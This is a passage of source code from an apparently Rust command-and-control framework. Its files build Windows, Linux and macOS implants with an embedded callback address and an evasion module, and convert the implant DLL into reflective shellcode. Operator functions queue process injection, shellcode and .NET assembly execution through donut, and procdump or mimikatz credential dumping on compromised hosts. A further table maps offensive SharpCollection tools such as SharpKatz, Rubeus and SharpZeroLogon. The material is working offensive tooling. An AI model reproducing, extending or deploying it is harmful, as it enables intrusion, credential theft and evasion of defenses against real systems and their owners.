11 | println!(" example: generate 10.10.10.10:8443");
12 | println!(" example: generate link.com:8443");
13 | }
14 |
15 | fn generate_has_dependencies() -> bool {
16 | // check if cargo exists if not prompt for install
17 | if std::process::Command::new("cargo")
18 | .stdout(std::process::Stdio::null())
19 | .stderr(std::process::Stdio::null())
20 | .spawn()
21 | .is_err()
22 | {
23 | println!("cargo not installed, the following command may help:");
24 | println!("curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh");
25 | return false;
26 | }
27 | // check if rustup exists if not prompt for install
28 | if std::process::Command::new("rustup")
29 | .stdout(std::process::Stdio::null())
30 | .stderr(std::process::Stdio::null())
31 | .spawn()
32 | .is_err()
33 | {
34 | println!("rustup not installed, the following command may help:");
35 | println!("curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh");
36 | return false;
37 | }
38 | // check if mingw64 and mingw64 binutils exist
39 | if std::process::Command::new("/usr/bin/x86_64-w64-mingw32-gcc")
40 | .stdout(std::process::Stdio::null())
41 | .stderr(std::process::Stdio::null())
42 | .spawn()
43 | .is_err()
44 | {
45 | println!("mingw64 not installed");
46 | return false;
47 | }
48 | if std::process::Command::new("/usr/x86_64-w64-mingw32/bin/ar")
49 | .stdout(std::process::Stdio::null())
50 | .stderr(std::process::Stdio::null())
51 | .spawn()
52 | .is_err()
53 | {
54 | println!("mingw64 binutils not installed");
55 | return false;
56 | }
57 | // check if ~/.cargo/config contains cross toolchain
58 | let home_dir = match std::env::var("HOME") {
59 | Err(e) => {
60 | println!("{}", e);
61 | return false;
62 | }
63 | Ok(home) => home,
64 | };
65 | let cargo_conf_dir = format!("{}/.cargo/config", home_dir);
66 | let cross_conf = "[target.x86_64-pc-windows-gnu]\nlinker = \"/usr/bin/x86_64-w64-mingw32-gcc\"\nar = \"/usr/$ARCH-w64-mingw32/bin/ar\"";
67 | if fs::metadata(cargo_conf_dir.as_str()).is_err() {
68 | println!("cargo config does not exist: ~/.cargo/config");
69 | println!("cross platform configuration should contain:\n");
70 | println!("{}:\n{}\n", cargo_conf_dir, cross_conf);
71 | println!(
72 | "once complete add the windows rust-std with:\nrustup target add x86_64-pc-windows-gnu"
73 | );
74 | return false;
75 | }
76 | // check if rust-std for x86_64-pc-windows-gnu target installed
77 | let rustup_win_lib_dir = format!(
78 | "{}/.rustup/toolchains/stable-x86_64-unknown-linux-gnu/lib/rustlib/x86_64-pc-windows-gnu",
79 | home_dir
80 | );
81 | if fs::metadata(rustup_win_lib_dir.as_str()).is_err() {
82 | println!(
83 | "rustup does not have x86_64-pc-windows-gnu target, the following command may help:"
84 | );
85 | println!("rustup target add x86_64-pc-windows-gnu");
86 | return false;
87 | }
88 | true
89 | }
90 |
91 | pub fn generate(args: Vec) {
92 | if args.len() == 1 {
93 | generate_help();
94 | return;
95 | }
96 | // check for dependencies
97 | if !generate_has_dependencies() {
98 | return;
99 | }
100 | // rs files
101 | let main = format!(
102 | "{}",
103 | String::from_utf8_lossy(include_bytes!("../links/windows/src/main.rs"))
104 | );
105 | let link_lib = format!(
106 | "{}",
107 | String::from_utf8_lossy(include_bytes!("../links/windows/src/lib.rs"))
108 | );
109 | let stdlib = format!(
110 | "{}",
111 | String::from_utf8_lossy(include_bytes!("../links/windows/src/stdlib.rs"))
112 | );
113 | let nonstd = format!(
114 | "{}",
115 | String::from_utf8_lossy(include_bytes!("../links/windows/src/nonstd.rs"))
116 | );
117 | let evasion = format!(
118 | "{}",
119 | String::from_utf8_lossy(include_bytes!("../links/windows/src/evasion.rs"))
120 | );
121 | let cargo = format!(
122 | "{}",
123 | String::from_utf8_lossy(include_bytes!("../links/windows/Cargo.toml"))
124 | );
125 | let build = format!(
126 | "fn main(){{println!(\"cargo:rustc-env=CALLBACK={}\");}}",
127 | args[1],
128 | );
129 | // set up link directory
130 | let home_dir = match std::env::var("HOME") {
131 | Err(e) => {
132 | println!("{}", e);
133 | return;
134 | }
135 | Ok(home) => home,
136 | };
137 | let prev_dir_path = std::env::current_dir().unwrap();
138 | let link_dir_path = &format!("{}/.link/links/windows", home_dir);
139 | let link_exec_path = &format!(
140 | "{}/.link/links/windows/target/x86_64-pc-windows-gnu/release/link.exe",
141 | home_dir
142 | );
143 | let link_dll_path = &format!(
144 | "{}/.link/links/windows/target/x86_64-pc-windows-gnu/release/link.dll",
145 | home_dir
146 | );
147 | let link_dir_src_path = format!("{}/src", link_dir_path);
148 | let dest_link_path = format!("{}/link.exe", prev_dir_path.display());
149 | let dest_link_dll_path = format!("{}/link.dll", prev_dir_path.display());
150 | // check for first build
151 | if fs::metadata(link_dir_path).is_err() {
152 | println!("first link build will take time");
153 | }
154 | // create directory and change dir
155 | match fs::create_dir_all(link_dir_src_path) {
156 | Err(e) => {
157 | println!("{}", e);
158 | return;
159 | }
160 | Ok(link_dir) => link_dir,
161 | };
162 | if std::env::set_current_dir(link_dir_path).is_err() {
163 | println!("could not change directory");
164 | return;
165 | }
166 | // write files to link dir
167 | let mut output_file = fs::File::create("./src/main.rs").expect("could not write file");
168 | output_file
169 | .write_all(main.as_bytes())
170 | .expect("could not write contents to output file");
171 | output_file = fs::File::create("./src/lib.rs").expect("could not write file");
172 | output_file
173 | .write_all(link_lib.as_bytes())
174 | .expect("could not write contents to output file");
175 | output_file = fs::File::create("./src/stdlib.rs").expect("could not write file");
176 | output_file
177 | .write_all(stdlib.as_bytes())
178 | .expect("could not write contents to output file");
179 | output_file = fs::File::create("./src/nonstd.rs").expect("could not write file");
180 | output_file
181 | .write_all(nonstd.as_bytes())
182 | .expect("could not write contents to output file");
183 | output_file = fs::File::create("./src/evasion.rs").expect("could not write file");
184 | output_file
185 | .write_all(evasion.as_bytes())
186 | .expect("could not write contents to output file");
187 | output_file = fs::File::create("Cargo.toml").expect("could not write file");
188 | output_file
189 | .write_all(cargo.as_bytes())
190 | .expect("could not write contents to output file");
191 | output_file = fs::File::create("build.rs").expect("could not write file");
192 | output_file
193 | .write_all(build.as_bytes())
194 | .expect("could not write contents to output file");
195 | // create link executable
196 | println!("please wait...");
197 | let output = std::process::Command::new("cargo")
198 | .args(&["build", "--release", "--target", "x86_64-pc-windows-gnu"])
199 | .env("RUSTFLAGS", "-C link-arg=-s")
200 | .output();
201 | match output {
202 | Err(e) => println!("{}", e),
203 | Ok(_) => println!("link successfully built"),
204 | }
205 | // return to previous path
206 | if std::env::set_current_dir(prev_dir_path).is_err() {
207 | println!("could not change back to previous directory");
208 | return;
209 | }
210 | // copy files to current dir
211 | let mut link_copy = fs::copy(link_exec_path, dest_link_path);
212 | match link_copy {
213 | Err(e) => println!("{}", e),
214 | Ok(_) => println!("output: link.exe"),
215 | }
216 | link_copy = fs::copy(link_dll_path, dest_link_dll_path);
217 | match link_copy {
218 | Err(e) => println!("{}", e),
219 | Ok(_) => println!("output: link.dll"),
220 | }
221 | // create shellcode and output to file
222 | let link_shellcode = shellcode::shellcode_rdi("link.dll", "main", "".to_string());
223 | output_file = fs::File::create("link.bin").expect("could not write file");
224 | output_file
225 | .write_all(&link_shellcode)
226 | .expect("could not write contents to output file");
227 | println!("output: link.bin");
228 | }
229 |
230 | pub fn generate_linux(args: Vec) {
231 | if args.len() == 1 {
232 | generate_help();
233 | return;
234 | }
235 | // rs files
236 | let main = format!(
237 | "{}",
238 | String::from_utf8_lossy(include_bytes!("../links/linux/src/main.rs"))
239 | );
240 | let stdlib = format!(
241 | "{}",
242 | String::from_utf8_lossy(include_bytes!("../links/linux/src/stdlib.rs"))
243 | );
244 | let cargo = format!(
245 | "{}",
246 | String::from_utf8_lossy(include_bytes!("../links/linux/Cargo.toml"))
247 | );
248 | let build = format!(
249 | "fn main(){{println!(\"cargo:rustc-env=CALLBACK={}\");}}",
250 | args[1],
251 | );
252 | // set up link directory
253 | let home_dir = match std::env::var("HOME") {
254 | Err(e) => {
255 | println!("{}", e);
256 | return;
257 | }
258 | Ok(home) => home,
259 | };
260 | let prev_dir_path = std::env::current_dir().unwrap();
261 | let link_dir_path = &format!("{}/.link/links/linux", home_dir);
262 | let link_exec_path = &format!(
263 | "{}/.link/links/linux/target/x86_64-unknown-linux-musl/release/link",
264 | home_dir
265 | );
266 | let link_dir_src_path = format!("{}/src", link_dir_path);
267 | let dest_link_path = format!("{}/link", prev_dir_path.display());
268 | // check for first build
269 | if fs::metadata(link_dir_path).is_err() {
270 | println!("first link build will take time");
271 | }
272 | // create directory and change dir
273 | match fs::create_dir_all(link_dir_src_path) {
274 | Err(e) => {
275 | println!("{}", e);
276 | return;
277 | }
278 | Ok(link_dir) => link_dir,
279 | };
280 | if std::env::set_current_dir(link_dir_path).is_err() {
281 | println!("could not change directory");
282 | return;
283 | }
284 | // write files to link dir
285 | let mut output_file = fs::File::create("./src/main.rs").expect("could not write file");
286 | output_file
287 | .write_all(main.as_bytes())
288 | .expect("could not write contents to output file");
289 | output_file = fs::File::create("./src/stdlib.rs").expect("could not write file");
290 | output_file
291 | .write_all(stdlib.as_bytes())
292 | .expect("could not write contents to output file");
293 | output_file = fs::File::create("Cargo.toml").expect("could not write file");
294 | output_file
295 | .write_all(cargo.as_bytes())
296 | .expect("could not write contents to output file");
297 | output_file = fs::File::create("build.rs").expect("could not write file");
298 | output_file
299 | .write_all(build.as_bytes())
300 | .expect("could not write contents to output file");
301 | // create link executable
302 | println!("please wait...");
303 | let output = std::process::Command::new("cargo")
304 | .args(&[
305 | "build",
306 | "--release",
307 | "--target",
308 | "x86_64-unknown-linux-musl",
309 | ])
310 | .env("RUSTFLAGS", "-C link-arg=-s")
311 | .output();
312 | match output {
313 | Err(e) => println!("{}", e),
314 | Ok(_) => println!("link successfully built"),
315 | }
316 | // return to previous path
317 | if std::env::set_current_dir(prev_dir_path).is_err() {
318 | println!("could not change back to previous directory");
319 | return;
320 | }
321 | // copy files to current dir
322 | let link_copy = fs::copy(link_exec_path, dest_link_path);
323 | match link_copy {
324 | Err(e) => println!("{}", e),
325 | Ok(_) => println!("output: link"),
326 | }
327 | }
328 |
329 | pub fn build_osx_sdk() {
330 | if !git_exists() {
331 | println!("could not download osxcross");
332 | return;
333 | }
334 | let home_dir = match std::env::var("HOME") {
335 | Err(e) => {
336 | println!("{}", e);
337 | return;
338 | }
339 | Ok(home) => home,
340 | };
341 | let prev_dir_path = std::env::current_dir().unwrap();
342 | let link_third_party_path = &format!("{}/.link/3rdparty", home_dir);
343 | // create directory and change dir
344 | match fs::create_dir_all(link_third_party_path) {
345 | Err(e) => {
346 | println!("{}", e);
347 | return;
348 | }
349 | Ok(link_dir) => link_dir,
350 | };
351 | if std::env::set_current_dir(link_third_party_path).is_err() {
352 | println!("could not change directory");
353 | return;
354 | }
355 | // clone and build osxcross
356 | let output = std::process::Command::new("git")
357 | .args(&["clone", "https://github.com/tpoechtrager/osxcross"])
358 | .output();
359 | match output {
360 | Err(e) => println!("{}", e),
361 | Ok(_) => println!("osxcross cloned"),
362 | }
363 | if std::env::set_current_dir("./osxcross/tarballs").is_err() {
364 | println!("could not change directory");
365 | return;
366 | }
367 | let output = std::process::Command::new("wget")
368 | .args(&["https://s3.dockerproject.org/darwin/v2/MacOSX10.11.sdk.tar.xz"])
369 | .output();
370 | match output {
371 | Err(e) => println!("{}", e),
372 | Ok(_) => println!("OSX 10.11 SDK downloaded"),
373 | }
374 | if std::env::set_current_dir("..").is_err() {
375 | println!("could not change directory");
376 | return;
377 | }
378 | let output = std::process::Command::new("sed")
379 | .args(&[
380 | "-i",
381 | "-e",
382 | "'s|-march=native||g'",
383 | "build_clang.sh",
384 | "wrapper/build_wrapper.sh",
385 | ])
386 | .output();
387 | match output {
388 | Err(e) => println!("{}", e),
389 | Ok(_) => println!("updated clang build"),
390 | }
391 | println!("building osxcross... this will take a while");
392 | let output = std::process::Command::new("./build.sh")
393 | .env("UNATTENDED", "yes")
394 | .env("OSX_VERSION_MIN", "10.7")
395 | .output();
396 | match output {
397 | Err(e) => println!("{}", e),
398 | Ok(_) => println!("osxcross built"),
399 | }
400 | // return to previous path
401 | if std::env::set_current_dir(prev_dir_path).is_err() {
402 | println!("could not change back to previous directory");
403 | }
404 | }
405 |
406 | pub fn generate_osx(args: Vec) {
407 | if args.len() == 1 {
408 | generate_help();
409 | return;
410 | }
411 | // rs files
412 | let main = format!(
413 | "{}",
414 | String::from_utf8_lossy(include_bytes!("../links/osx/src/main.rs"))
415 | );
416 | let stdlib = format!(
417 | "{}",
418 | String::from_utf8_lossy(include_bytes!("../links/osx/src/stdlib.rs"))
419 | );
420 | let cargo = format!(
421 | "{}",
422 | String::from_utf8_lossy(include_bytes!("../links/osx/Cargo.toml"))
423 | );
424 | let build = format!(
425 | "fn main(){{println!(\"cargo:rustc-env=CALLBACK={}\");}}",
426 | args[1],
427 | );
428 | // set up link directory
429 | let home_dir = match std::env::var("HOME") {
430 | Err(e) => {
431 | println!("{}", e);
432 | return;
433 | }
434 | Ok(home) => home,
435 | };
436 | let prev_dir_path = std::env::current_dir().unwrap();
437 | let link_third_party_path = &format!("{}/.link/3rdparty", home_dir);
438 | let osx_clang_path = &format!(
439 | "{}/osxcross/target/bin/x86_64-apple-darwin15-clang",
440 | link_third_party_path
441 | );
442 | let osx_ar_path = &format!(
443 | "{}/osxcross/target/bin/x86_64-apple-darwin15-ar",
444 | link_third_party_path
445 | );
446 | let link_dir_path = &format!("{}/.link/links/osx", home_dir);
447 | let link_exec_path = &format!(
448 | "{}/.link/links/osx/target/x86_64-apple-darwin/release/link",
449 | home_dir
450 | );
451 | let link_dir_src_path = format!("{}/src", link_dir_path);
452 | let dest_link_path = format!("{}/link", prev_dir_path.display());
453 | // check for first build
454 | if fs::metadata(link_dir_path).is_err() {
455 | println!("first osx link build will take time");
456 | println!("building osx cross compilation dependencies");
457 | build_osx_sdk();
458 | }
459 | // create directory and change dir
460 | match fs::create_dir_all(link_dir_src_path) {
461 | Err(e) => {
462 | println!("{}", e);
463 | return;
464 | }
465 | Ok(link_dir) => link_dir,
466 | };
467 | if std::env::set_current_dir(link_dir_path).is_err() {
468 | println!("could not change directory");
469 | return;
470 | }
471 | // write files to link dir
472 | let mut output_file = fs::File::create("./src/main.rs").expect("could not write file");
473 | output_file
474 | .write_all(main.as_bytes())
475 | .expect("could not write contents to output file");
476 | output_file = fs::File::create("./src/stdlib.rs").expect("could not write file");
477 | output_file
478 | .write_all(stdlib.as_bytes())
479 | .expect("could not write contents to output file");
480 | output_file = fs::File::create("Cargo.toml").expect("could not write file");
481 | output_file
482 | .write_all(cargo.as_bytes())
483 | .expect("could not write contents to output file");
484 | output_file = fs::File::create("build.rs").expect("could not write file");
485 | output_file
486 | .write_all(build.as_bytes())
487 | .expect("could not write contents to output file");
488 | // create link executable
489 | println!("please wait...");
490 | let output = std::process::Command::new("cargo")
491 | .args(&["build", "--release", "--target", "x86_64-apple-darwin"])
492 | .env("RUSTFLAGS", "-C link-arg=-s")
493 | .env("TARGET_CC", osx_clang_path)
494 | .env("TARGET_AR", osx_ar_path)
495 | .output();
496 | match output {
497 | Err(e) => println!("{}", e),
498 | Ok(_) => println!("link successfully built"),
499 | }
500 | // return to previous path
501 | if std::env::set_current_dir(prev_dir_path).is_err() {
502 | println!("could not change back to previous directory");
503 | return;
504 | }
505 | // copy files to current dir
506 | let link_copy = fs::copy(link_exec_path, dest_link_path);
507 | match link_copy {
508 | Err(e) => println!("{}", e),
509 | Ok(_) => println!("output: link"),
510 | }
511 | }
512 |
--------------------------------------------------------------------------------
/src/util/mod.rs:
--------------------------------------------------------------------------------
1 | pub mod cli;
2 | pub mod donut;
3 | pub mod generate;
4 | pub mod nonstd;
5 | pub mod sharp;
6 | pub mod shellcode;
7 |
--------------------------------------------------------------------------------
/src/util/nonstd.rs:
--------------------------------------------------------------------------------
1 | use actix_web::web;
2 | use server::links::Links;
3 |
4 | // internal packages
5 | use crate::server;
6 | use crate::util;
7 |
8 | pub fn link_inject(links: web::Data, link_index: usize, command: Vec) {
9 | if command.len() < 2 {
10 | println!("link-inject \n eg: link-inject 1307");
11 | return;
12 | }
13 | if std::fs::metadata("./link.bin").is_err() {
14 | println!("generate links first");
15 | println!("there must be link.bin in the current directory");
16 | return;
17 | }
18 | let shellcode = match std::fs::read("link.bin") {
19 | Err(e) => {
20 | println!("{}", e);
21 | return;
22 | }
23 | Ok(shellcode) => shellcode,
24 | };
25 | let shellcode_b64 = base64::encode(shellcode);
26 | let mut updated_command = command.clone();
27 | updated_command[0] = "inject".to_string();
28 | updated_command.push(shellcode_b64);
29 | links.links.lock().unwrap()[link_index]
30 | .set_command(updated_command.join(" "), command.join(" "));
31 | }
32 |
33 | pub fn process_inject(links: web::Data, link_index: usize, command: Vec) {
34 | if command.len() < 3 {
35 | println!("inject \n eg: inject 1307 /tmp/shellcode.bin");
36 | return;
37 | }
38 | let shellcode = match std::fs::read(command[2].clone()) {
39 | Err(e) => {
40 | println!("{}", e);
41 | return;
42 | }
43 | Ok(shellcode) => shellcode,
44 | };
45 | let shellcode_b64 = base64::encode(shellcode);
46 | let mut updated_command = command.clone();
47 | updated_command[2] = shellcode_b64;
48 | links.links.lock().unwrap()[link_index]
49 | .set_command(updated_command.join(" "), command.join(" "));
50 | }
51 |
52 | pub fn execute_shellcode(links: web::Data, link_index: usize, command: Vec) {
53 | if command.len() < 3 {
54 | println!("execute-shellcode \n eg: execute-shellcode svchost /tmp/shellcode.bin");
55 | return;
56 | }
57 | let shellcode = match std::fs::read(command[2].clone()) {
58 | Err(e) => {
59 | println!("{}", e);
60 | return;
61 | }
62 | Ok(shellcode) => shellcode,
63 | };
64 | let shellcode_b64 = base64::encode(shellcode);
65 | let mut updated_command = command.clone();
66 | updated_command[2] = shellcode_b64;
67 | links.links.lock().unwrap()[link_index]
68 | .set_command(updated_command.join(" "), command.join(" "));
69 | }
70 |
71 | pub fn execute_assembly(links: web::Data, link_index: usize, mut command: Vec) {
72 | if command.len() < 3 {
73 | println!("execute-assembly \n eg: execute-assembly svchost SharpKatz.exe -h");
74 | return;
75 | }
76 | // check for SharpCollection
77 | let mut sharpcollection_tool = String::new();
78 | if command[0] == *"sharp" {
79 | sharpcollection_tool = command[2].clone();
80 | let tool_path = util::sharp::get_sharp_path(command[2].clone());
81 | if tool_path.is_empty() {
82 | println!("could not find tool, at the main menu the following command may help:");
83 | println!("sharp init");
84 | return;
85 | }
86 | command[2] = tool_path;
87 | }
88 | let parameters: Vec;
89 | if command.len() > 3 {
90 | parameters = command.clone().split_off(3);
91 | } else {
92 | parameters = Vec::new();
93 | }
94 | let shellcode_b64 = match util::donut::create_shellcode(command[2].clone(), parameters) {
95 | Some(b64) => b64,
96 | None => {
97 | println!("Could not generate shellcode");
98 | return;
99 | },
100 | };
101 | // update original command if SharpCollection
102 | if !sharpcollection_tool.is_empty() {
103 | command[2] = sharpcollection_tool;
104 | }
105 | let updated_command = vec![
106 | "execute-shellcode".to_string(),
107 | command[1].clone(),
108 | shellcode_b64
109 | ];
110 | links.links.lock().unwrap()[link_index]
111 | .set_command(updated_command.join(" "), command.join(" "));
112 | }
113 |
114 | pub fn execute_pe(links: web::Data, link_index: usize, command: Vec) {
115 | if command.len() < 3 {
116 | println!("execute-pe \n eg: execute-pe svchost whoami.exe");
117 | return;
118 | }
119 | let parameters: Vec;
120 | if command.len() > 3 {
121 | parameters = command.clone().split_off(3);
122 | } else {
123 | parameters = Vec::new();
124 | }
125 | let shellcode_b64 = match util::donut::create_shellcode(command[2].clone(), parameters) {
126 | Some(b64) => b64,
127 | None => {
128 | println!("Could not generate shellcode");
129 | return;
130 | },
131 | };
132 | let updated_command = vec![
133 | "execute-shellcode".to_string(),
134 | command[1].clone(),
135 | shellcode_b64
136 | ];
137 | links.links.lock().unwrap()[link_index]
138 | .set_command(updated_command.join(" "), command.join(" "));
139 | }
140 |
141 | pub fn procdump(links: web::Data, link_index: usize, command: Vec) {
142 | if command.len() < 2 {
143 | println!("procpdump \n eg: procdump 1473");
144 | return;
145 | }
146 | let mut updated_command = command.clone();
147 | if command[0] == "mimikatz".to_string() {
148 | updated_command[0] = "procdump".to_string();
149 | }
150 | updated_command[1] = command[1].clone();
151 | links.links.lock().unwrap()[link_index]
152 | .set_command(updated_command.join(" "), command.join(" "));
153 | }
154 |
155 | pub fn mimikatz(links: web::Data, link_index: usize, command: Vec) {
156 | if command.len() > 1 {
157 | println!("mimikatz\n eg: mimikatz");
158 | return;
159 | }
160 | let updated_command = vec!["mimikatz".to_string(), "0".to_string()];
161 | procdump(links, link_index, updated_command);
162 | }
163 |
--------------------------------------------------------------------------------
/src/util/sharp.rs:
--------------------------------------------------------------------------------
1 | use actix_web::web;
2 | use server::links::Links;
3 | use std::fs;
4 |
5 | // internal packages
6 | use crate::server;
7 | use crate::util;
8 |
9 | pub fn sharp_link(links: web::Data, link_index: usize, command: Vec) {
10 | if command.len() < 3 {
11 | sharp_link_help();
12 | return;
13 | }
14 | util::nonstd::execute_assembly(links, link_index, command);
15 | }
16 |
17 | pub fn get_sharp_path(tool: String) -> String {
18 | let mut sharp_collection = std::collections::HashMap::new();
19 | let home_dir = match std::env::var("HOME") {
20 | Err(e) => {
21 | println!("{}", e);
22 | return "".to_string();
23 | }
24 | Ok(home) => home,
25 | };
26 | let sharpcollection_path = format!("{}/.link/3rdparty/SharpCollection", home_dir);
27 | let net40_path = format!("{}/NetFramework_4.0_x64", sharpcollection_path);
28 | let net45_path = format!("{}/NetFramework_4.5_x64", sharpcollection_path);
29 | let net47_path = format!("{}/NetFramework_4.7_x64", sharpcollection_path);
30 | sharp_collection.insert("AD", format!("{}/{}.exe", net40_path, tool));
31 | sharp_collection.insert("ADCollector", format!("{}/{}.exe", net40_path, tool));
32 | sharp_collection.insert("ADSearch", format!("{}/{}.exe", net47_path, tool));
33 | sharp_collection.insert("AtYourService", format!("{}/{}.exe", net40_path, tool));
34 | sharp_collection.insert("BetterSafetyKatz", format!("{}/{}.exe", net40_path, tool));
35 | sharp_collection.insert("Grouper2", format!("{}/{}.exe", net40_path, tool));
36 | sharp_collection.insert("InveighZero", format!("{}/{}.exe", net40_path, tool));
37 | sharp_collection.insert("LockLess", format!("{}/{}.exe", net40_path, tool));
38 | sharp_collection.insert("PurpleSharp", format!("{}/{}.exe", net45_path, tool));
39 | sharp_collection.insert("Rubeus", format!("{}/{}.exe", net40_path, tool));
40 | sharp_collection.insert("SafetyKatz", format!("{}/{}.exe", net40_path, tool));
41 | sharp_collection.insert("SauronEye", format!("{}/{}.exe", net47_path, tool));
42 | sharp_collection.insert("scout", format!("{}/{}.exe", net40_path, tool));
43 | sharp_collection.insert("SearchOutlook", format!("{}/{}.exe", net40_path, tool));
44 | sharp_collection.insert("Seatbelt", format!("{}/{}.exe", net40_path, tool));
45 | sharp_collection.insert("SharpAllowedToAct", format!("{}/{}.exe", net40_path, tool));
46 | sharp_collection.insert("SharpAppLocker", format!("{}/{}.exe", net45_path, tool));
47 | sharp_collection.insert("SharpBlock", format!("{}/{}.exe", net40_path, tool));
48 | sharp_collection.insert("SharpChisel", format!("{}/{}.exe", net40_path, tool));
49 | sharp_collection.insert("SharpChrome", format!("{}/{}.exe", net40_path, tool));
50 | sharp_collection.insert("SharpChromium", format!("{}/{}.exe", net40_path, tool));
51 | sharp_collection.insert("SharpCloud", format!("{}/{}.exe", net40_path, tool));
52 | sharp_collection.insert("SharpCrashEventLog", format!("{}/{}.exe", net40_path, tool));
53 | sharp_collection.insert("SharpDir", format!("{}/{}.exe", net40_path, tool));
54 | sharp_collection.insert("SharpDoor", format!("{}/{}.exe", net40_path, tool));
55 | sharp_collection.insert("SharpDPAPI", format!("{}/{}.exe", net40_path, tool));
56 | sharp_collection.insert("SharpDump", format!("{}/{}.exe", net40_path, tool));
57 | sharp_collection.insert("sharpfiles", format!("{}/{}.exe", net40_path, tool));
58 | sharp_collection.insert("SharpGPOAbuse", format!("{}/{}.exe", net40_path, tool));
59 | sharp_collection.insert("SharpHandler", format!("{}/{}.exe", net40_path, tool));
60 | sharp_collection.insert("SharpHose", format!("{}/{}.exe", net45_path, tool));
61 | sharp_collection.insert("SharpHound3", format!("{}/{}.exe", net40_path, tool));
62 | sharp_collection.insert("SharpKatz", format!("{}/{}.exe", net40_path, tool));
63 | sharp_collection.insert("SharpLAPS", format!("{}/{}.exe", net40_path, tool));
64 | sharp_collection.insert("SharpMapExec", format!("{}/{}.exe", net40_path, tool));
65 | sharp_collection.insert("SharpMiniDump", format!("{}/{}.exe", net40_path, tool));
66 | sharp_collection.insert("SharpMove", format!("{}/{}.exe", net40_path, tool));
67 | sharp_collection.insert("SharpRDP", format!("{}/{}.exe", net45_path, tool));
68 | sharp_collection.insert("SharpReg", format!("{}/{}.exe", net40_path, tool));
69 | sharp_collection.insert("SharpSecDump", format!("{}/{}.exe", net40_path, tool));
70 | sharp_collection.insert("SharpShares", format!("{}/{}.exe", net40_path, tool));
71 | sharp_collection.insert("Sharp-SMBExec", format!("{}/{}.exe", net40_path, tool));
72 | sharp_collection.insert("SharpSphere", format!("{}/{}.exe", net45_path, tool));
73 | sharp_collection.insert("SharpSpray", format!("{}/{}.exe", net40_path, tool));
74 | sharp_collection.insert("SharpStay", format!("{}/{}.exe", net40_path, tool));
75 | sharp_collection.insert("SharpSvc", format!("{}/{}.exe", net47_path, tool));
76 | sharp_collection.insert("SharpTask", format!("{}/{}.exe", net40_path, tool));
77 | sharp_collection.insert("SharpUp", format!("{}/{}.exe", net40_path, tool));
78 | sharp_collection.insert("SharpView", format!("{}/{}.exe", net45_path, tool));
79 | sharp_collection.insert("SharpWMI", format!("{}/{}.exe", net40_path, tool));
80 | sharp_collection.insert("SharpZeroLogon", format!("{}/{}.exe", net40_path, tool));
81 | sharp_collection.insert("Shhmon", format!("{}/{}.exe", net40_path, tool));
82 | sharp_collection.insert("Snaffler", format!("{}/{}.exe", net40_path, tool));
83 | sharp_collection.insert("SqlClient", format!("{}/{}.exe", net40_path, tool));
84 | sharp_collection.insert("StandIn", format!("{}/{}.exe", net40_path, tool));
85 | sharp_collection.insert("StickyNotesExtract", format!("{}/{}.exe", net40_path, tool));
86 | sharp_collection.insert("SweetPotato", format!("{}/{}.exe", net45_path, tool));
87 | sharp_collection.insert("ThunderFox", format!("{}/{}.exe", net40_path, tool));
88 | sharp_collection.insert("TruffleSnout", format!("{}/{}.exe", net45_path, tool));
89 | sharp_collection.insert("Watson", format!("{}/{}.exe", net40_path, tool));
90 | sharp_collection.insert("winPEAS", format!("{}/{}.exe", net40_path, tool));
91 | sharp_collection.insert("WMIReg", format!("{}/{}.exe", net40_path, tool));
92 | // check if path exists
93 | let full_path = match sharp_collection.get(tool.as_str()) {
94 | Some(full_path) => full_path.to_string(),
95 | None => return "".to_string(),
96 | };
97 | if fs::metadata(full_path.clone()).is_err() {
98 | return "".to_string();
99 | }
100 | full_path
101 | }
102 |
103 | pub fn create_link_dir() {
104 | let home_dir = match std::env::var("HOME") {
105 | Err(e) => {
106 | println!("{}", e);
107 | return;
108 | }
109 | Ok(home) => home,
110 | };
111 | let link_dir = format!("{}/.link", home_dir);
112 | if fs::metadata(link_dir.as_str()).is_ok() {
113 | return;
114 | }
115 | match fs::create_dir_all(link_dir.as_str()) {
116 | Err(e) => {
117 | println!("{}", e);
118 | }
119 | Ok(home) => home,
120 | }
121 | }
122 | pub fn git_exists() -> bool {
123 | if std::process::Command::new("git")
124 | .stdout(std::process::Stdio::null())
125 | .stderr(std::process::Stdio::null())
126 | .spawn()
127 | .is_err()
128 | {
129 | println!("git not installed");
130 | return false;
131 | }
132 | true
133 | }
134 |
135 | fn update_sharpcollection() {
136 | if !git_exists() {
137 | println!("could not download SharpCollection");
138 | return;
139 | }
140 | let home_dir = match std::env::var("HOME") {
141 | Err(e) => {
142 | println!("{}", e);
143 | return;
144 | }
145 | Ok(home) => home,
146 | };
147 | let link_path = format!("{}/.link", home_dir);
148 | let sharpcollection_path = format!("{}/3rdparty/SharpCollection", link_path);
149 | let prev_dir_path = std::env::current_dir().unwrap();
150 | if std::env::set_current_dir(sharpcollection_path).is_err() {
151 | println!("could not change directory");
152 | return;
153 | }
154 | println!("updating SharpCollection");
155 | let output = std::process::Command::new("git").args(&["pull"]).output();
156 | match output {
157 | Err(_) => println!("could not update"),
158 | Ok(_) => println!("updated"),
159 | }
160 | // return to previous path
161 | if std::env::set_current_dir(prev_dir_path).is_err() {
162 | println!("could not change back to previous directory");
163 | }
164 | }
165 |
166 | fn download_sharpcollection() {
167 | if !git_exists() {
168 | println!("could not download SharpCollection");
169 | return;
170 | }
171 | let home_dir = match std::env::var("HOME") {
172 | Err(e) => {
173 | println!("{}", e);
174 | return;
175 | }
176 | Ok(home) => home,
177 | };
178 | let link_path = format!("{}/.link", home_dir);
179 | let third_party_path = format!("{}/3rdparty", link_path);
180 | let sharpcollection_path = format!("{}/3rdparty/SharpCollection", link_path);
181 | if fs::metadata(sharpcollection_path.as_str()).is_ok() {
182 | update_sharpcollection();
183 | return;
184 | }
185 | match fs::create_dir_all(third_party_path.as_str()) {
186 | Err(e) => {
187 | println!("{}", e);
188 | }
189 | Ok(third) => third,
190 | }
191 | let prev_dir_path = std::env::current_dir().unwrap();
192 | if std::env::set_current_dir(third_party_path).is_err() {
193 | println!("could not change directory");
194 | return;
195 | }
196 | println!("downloading SharpCollection");
197 | let _ = std::process::Command::new("git")
198 | .args(&["clone", "https://github.com/Flangvik/SharpCollection"])
199 | .output();
200 | if fs::metadata(sharpcollection_path.as_str()).is_ok() {
201 | println!("downloaded");
202 | }
203 | // return to previous path
204 | if std::env::set_current_dir(prev_dir_path).is_err() {
205 | println!("could not change back to previous directory");
206 | }
207 | }
208 |
209 | pub fn sharpcollection_manage(command: Vec) {
210 | if command.len() < 2 {
211 | sharp_help();
212 | return;
213 | }
